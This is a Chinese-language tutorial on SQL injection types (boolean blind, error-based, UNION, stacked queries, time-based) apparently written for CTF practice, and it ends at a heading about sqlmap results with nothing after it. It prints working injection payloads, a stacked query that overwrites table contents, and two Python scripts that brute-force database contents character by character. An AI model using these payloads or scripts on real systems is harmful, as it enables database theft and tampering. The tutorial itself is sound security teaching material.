sql注入与sqlmap工具使用

SQL的注入类型：

Boolean-based blind SQL injection（布尔型注入）
Error-based SQL injection（报错型注入）
UNION query SQL injection（可联合查询注入）
Stacked queries SQL injection（可多语句查询注入）
Time-based blind SQL injection（基于时间延迟注入）

Boolean-based blind SQL injection（布尔型注入）

通过判断页面返回情况获得想要的信息。

如下SQL注入：

   1 http://hello.com/view?id=1 and substring(version(),1,1)=5

如果服务端MySQL版本是5.X的话，那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。

id='' and ascii(substr((select flag from flag), 2, 1))?102#

构造以上的请求进行字符猜解。

补充一个布尔型字符猜解的脚本：

import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''

for j in range(50):
	for i in maystr:
		#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)
			#news
		#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)
			#tb_admin tb_flag tb_news
		#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)
			#flag
		str = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i)   
			#flag{1396265adbb760c86475304b98e3f61c}
		res=requests.get(str).text
		
		if len(res)>1200:
			flag+=i
			print i
			continue

print flag

Error-based SQL injection（报错型注入）

如果页面能够输出SQL报错信息，则可以从报错信息中获得想要的信息。

典型的就是利用group by的duplicate entry错误。关于这个错误，貌似是MySQL存在的 bug： duplicate key for entry on select?、 SQL Injection attack - What does this do?

如下SQL注入：

   1 http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
2 AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
3 LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
4 SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)

在抛出的SQL错误中会包含这样的信息： Duplicate entry 'qzpzqttqxxbq1' for key 'group_key'，其中qzpzq和qxxbq分别是0x717a707a71和0x7178786271，用这两个字符串包住了tt（即数据库名），是为了方便sql注入程序从返回的错误内容中提取出信息。

UNION query SQL injection（可联合查询注入）

最快捷的方法，通过UNION查询获取到所有想要的数据，前提是请求返回后能输出SQL执行后查询到的所有内容。

如下SQL注入：

   1 http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA

Stacked queries SQL injection（可多语句查询注入）

即能够执行多条查询语句，非常危险，因为这意味着能够对数据库直接做更新操作。

如下SQL注入：

   1 http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'

在第二次请求 http://hello.com/view?id=1时，会发现所有的content都被设置为aaaaaaaaa了。

Time-based blind SQL injection（基于时间延迟注入）

页面不会返回错误信息，不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求，boolean注入也无能为力，因为搜索返回空也属于正常的，这时就得采用time-based的注入了，即判断请求响应的时间，但该类型注入获取信息的速度非常慢。

如下SQL注入：

   1 http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '

该请求会使MySQL的查询睡眠5S，攻击者可以通过添加条件判断到SQL中，比如IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能做到类似boolean注入的效果，如果睡眠了5s，那么说明MySQL版本为5，否则不是，但这种方式获取信息的速度就会很慢了，因为要做非常多的判断，并且需要花时间等待，不断地去测试出相应的值出来。

以下为一个利用时间延迟注入来爆破数据库内容的脚本

#coding:utf-8

import requests;
maystr="0987654321qwertyuiopasdfghjklzxcvbnm."
flag=''
for j in range(33):

    for i in maystr:
        url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
        header={
            # "X-Forwarded-For":"' + (select case when (substring((select database())from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  #
             #"X-Forwarded-For":"' +(select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  #跑表明
            "X-Forwarded-For":"' + (select case when (substring((select group_concat(column_name) from information_schema.columns where table_name='flag') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)
            #"X-Forwarded-For":"' + (select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  
        }
        try:

            res=requests.get(url, headers=header,timeout=4).text
        except:

             flag+=i
             print flag
        # print res

使用sqlmap对某网站做测试结果：